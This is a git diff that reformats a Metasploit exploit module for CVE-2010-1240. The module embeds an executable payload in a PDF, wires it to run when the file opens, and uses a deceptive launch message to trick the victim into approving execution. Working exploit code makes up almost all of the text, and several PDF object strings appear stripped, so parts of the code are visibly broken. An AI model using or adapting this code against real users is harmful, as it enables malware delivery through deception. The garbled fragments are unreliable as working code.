diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb index 4b8f59bafe..dd7d0d557e 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb @@ -11,20 +11,20 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Adobe PDF Embedded EXE Social Engineering', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Adobe PDF Embedded EXE Social Engineering', + 'Description' => %q{ This module embeds a Metasploit payload into an existing PDF file. The - resulting PDF can be sent to a target as part of a social engineering attack. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + resulting PDF can be sent to a target as part of a social engineering attack. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Colin Ames ', # initial module 'jduck' # add Documents for vista/win7/win10 ], - 'References' => - [ + 'References' => [ [ 'CVE', '2010-1240' ], [ 'OSVDB', '63667' ], [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ], @@ -32,51 +32,61 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-15.html' ] ], - 'DisclosureDate' => '2010-03-29', - 'Payload' => - { + 'DisclosureDate' => '2010-03-29', + 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Platform' => 'win', - 'Targets' => - [ + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Platform' => 'win', + 'Targets' => [ [ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)', { 'Ret' => '' } ] ], - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ + ARTIFACTS_ON_DISK, # the EXE is transferred to disk to be executed + SCREEN_EFFECTS # a message is shown to the user, see: LAUNCH_MESSAGE + ] + } + ) + ) register_options( [ OptPath.new('INFILENAME', [ true, 'The Input PDF filename.', ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-1240', 'template.pdf') ]), OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']), - OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area', - "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]), - ]) + OptString.new('LAUNCH_MESSAGE', [ + false, 'The message to display in the File: area', + 'To view the encrypted content please check the "Do not show this message again" box and press Open.' + ]), + ] + ) end def exploit - file_name = datastore['INFILENAME'] print_status("Reading in '#{file_name}'...") - stream = read_pdf() + stream = read_pdf begin print_status("Parsing '#{file_name}'...") - pdf_objects = parse_pdf(stream) - xref_trailers = pdf_objects[0] - trailers = pdf_objects[1] - startxrefs = pdf_objects[2] - root_obj = pdf_objects[3] + pdf_objects = parse_pdf(stream) + xref_trailers = pdf_objects[0] + trailers = pdf_objects[1] + startxrefs = pdf_objects[2] + root_obj = pdf_objects[3] output = basic_social_engineering_exploit({ - :xref_trailers => xref_trailers, - :root_obj => root_obj, - :stream => stream, - :trailers => trailers, - :file_name => file_name, - :startxref => startxrefs.last + xref_trailers: xref_trailers, + root_obj: root_obj, + stream: stream, + trailers: trailers, + file_name: file_name, + startxref: startxrefs.last }) print_good("Parsing Successful. Creating '#{datastore['FILENAME']}' file...") @@ -99,9 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - - def ef_payload(pdf_name,obj_num) - + def ef_payload(pdf_name, obj_num) print_status("Using '#{datastore['PAYLOAD']}' as payload...") payload_exe = generate_payload_exe @@ -109,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote stream = Rex::Text.zlib_deflate(payload_exe) md5 = Rex::Text.md5(stream) - output = String.new() + output = String.new output << "#{obj_num.to_i + 1} 0 obj\r<>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r" output << "#{obj_num.to_i + 2} 0 obj\r<>>>>" @@ -118,50 +126,46 @@ class MetasploitModule < Msf::Exploit::Remote return output end - def js_payload(pdf_name,obj_num) - - output = String.new() + def js_payload(pdf_name, obj_num) + output = String.new output << "#{obj_num.to_i + 3} 0 obj\r<>\rendobj\r" output << "#{obj_num.to_i + 4} 0 obj\r< 2) - print_warning("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.") + print_warning('Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.') end - output << "&"+ - # note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/ - "(start #{pdf_name}.pdf)"+ - # note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog - ("\n"*10) + - launch_message+ - # note: this extra rparen is required. - ")"+ - ">>>>\rendobj\r" + output << '&' + + # NOTE: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/ + "(start #{pdf_name}.pdf)" + + # NOTE: The below message modifies the text in the "File:" textfield of the "Launch File" dialog + ("\n" * 10) + + launch_message + + # NOTE: this extra rparen is required. + ')' \ + ">>>>\rendobj\r" return output - end - def basic_social_engineering_exploit(opts = {}) - xref_trailers = opts[:xref_trailers] root_obj = opts[:root_obj] stream = opts[:stream] @@ -169,218 +173,201 @@ class MetasploitModule < Msf::Exploit::Remote file_name = opts[:file_name] startxref = opts[:startxref] - file_name = file_name.split(/\//).pop.to_s + file_name = file_name.split(%r{/}).pop.to_s match = file_name.match(/(.+)\.pdf/) if match pdf_name = match[1] end - catalog = parse_object(xref_trailers,root_obj,stream) - + catalog = parse_object(xref_trailers, root_obj, stream) match = catalog.match(/Names (\d+ \d) R/m) if match - names = parse_object(xref_trailers,match[1],stream) + names = parse_object(xref_trailers, match[1], stream) match = names.match(/EmbeddedFiles (\d+ \d) R/m) if match - embedded_files = parse_object(xref_trailers,match[1],stream) - new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1') + embedded_files = parse_object(xref_trailers, match[1], stream) + new_embedded_files = embedded_files.gsub(/(\]>>)/m, "(\xfe\xff#{Rex::Text.to_unicode(pdf_name, 'utf-16be')})#{trailers[0].fetch('Size')} 0 R" + '\1') else - new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1') + new_names = names.gsub(/(>>.*)/m, "/EmbeddedFiles #{trailers[0].fetch('Size')} 0 R" + '\1') end else - new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R") + new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/Names #{trailers[0].fetch('Size')} 0 R") end if catalog.match(/OpenAction/m) match = catalog.match(/OpenAction (\d+ \d) R/m) if match - open_action = "#{match[1]} R" if new_catalog if new_embedded_files - new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R") + new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R") elsif new_names - new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") + new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R") else - new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") + new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R") end + elsif new_embedded_files + new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R") + elsif new_names + new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R") else - if new_embedded_files - new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R") - elsif new_names - new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") - else - new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") - end + new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R") end + elsif new_catalog + new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R") else - if new_catalog - new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") - else - new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") - end + new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R") end + elsif new_catalog + if new_embedded_files + new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R") + elsif new_names + new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R") + else + new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R") + end + + elsif new_embedded_files + new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R") + elsif new_names + new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R") else - if new_catalog - if new_embedded_files - new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R") - elsif new_names - new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") - else - new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") - end - - else - if new_embedded_files - new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R") - elsif new_names - new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R") - else - new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R") - end - end + new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R") end pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1] - pages = parse_object(xref_trailers,pages_obj,stream) + pages = parse_object(xref_trailers, pages_obj, stream) page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1] - page = parse_object(xref_trailers,page_obj,stream) + page = parse_object(xref_trailers, page_obj, stream) match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m) while match page_obj = match[1] - page = parse_object(xref_trailers,page_obj,stream) + page = parse_object(xref_trailers, page_obj, stream) match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m) end - match = page.match(/AA<<\/O (\d+ \d) R/m) + match = page.match(%r{AA<> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1') + new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 3} 0 R>>" + '\1') end new_pdf << new_catalog - xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1") + xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1') new_pdf << new_page - xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1") + xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1') new_pdf << new_embedded_files - xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1") + xrefs << xref_create(new_pdf, (new_pdf.length - new_embedded_files.length), '1') - if trailers[0].has_key?("ID") - new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" + if trailers[0].key?('ID') + new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" else - new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" + new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" end new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n" elsif new_names - pdf_payload = String.new() - num = trailers[0].fetch("Size").to_i - pdf_payload << "#{num} 0 obj\r<>\rendobj\r" - pdf_payload << ef_payload(pdf_name,num) - pdf_payload << js_payload(pdf_name,num) + num = trailers[0].fetch('Size').to_i + pdf_payload << "#{num} 0 obj\r<>\rendobj\r" + pdf_payload << ef_payload(pdf_name, num) + pdf_payload << js_payload(pdf_name, num) new_pdf << stream << pdf_payload - xrefs = xref_create(new_pdf,stream.length,"*") + xrefs = xref_create(new_pdf, stream.length, '*') - new_size = trailers[0].fetch("Size").to_i + 5 + new_size = trailers[0].fetch('Size').to_i + 5 if aa - new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2') + new_page = page.gsub(%r{(AA<> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1') + new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 4} 0 R>>" + '\1') end new_pdf << new_catalog - xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1") + xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1') new_pdf << new_page - xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1") + xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1') new_pdf << new_names - xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1") + xrefs << xref_create(new_pdf, (new_pdf.length - new_names.length), '1') - if trailers[0].has_key?("ID") - new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" + if trailers[0].key?('ID') + new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" else - new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" + new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" end new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n" - else - pdf_payload = String.new() - num = trailers[0].fetch("Size").to_i + 1 - pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<>\rendobj\r" + num = trailers[0].fetch('Size').to_i + 1 + pdf_payload << "#{trailers[0].fetch('Size')} 0 obj\r<>\rendobj\r" pdf_payload << "#{num} 0 obj\r<>\rendobj\r" - pdf_payload << ef_payload(pdf_name,num) - pdf_payload << js_payload(pdf_name,num) + pdf_payload << ef_payload(pdf_name, num) + pdf_payload << js_payload(pdf_name, num) new_pdf << stream << pdf_payload - xrefs = xref_create(new_pdf,stream.length,"*") + xrefs = xref_create(new_pdf, stream.length, '*') - new_size = trailers[0].fetch("Size").to_i + 6 + new_size = trailers[0].fetch('Size').to_i + 6 if aa - new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2') + new_page = page.gsub(%r{(AA<> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1') + new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 5} 0 R>>" + '\1') end new_pdf << new_catalog - xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1") + xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1') new_pdf << new_page - xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1") + xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1') - if trailers[0].has_key?("ID") - new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" + if trailers[0].key?('ID') + new_pdf << "xref\r\n" << xrefs << "trailer\r\n<>\r\n" else new_pdf << "xref\r\n" << xrefs new_pdf << "trailer\r\n" new_pdf << "<>\r\n" + new_pdf << "/Root #{trailers[0].fetch('Root')} R" + new_pdf << "/Info #{trailers[0].fetch('Info')} R>>\r\n" end new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n" - end - return new_pdf end end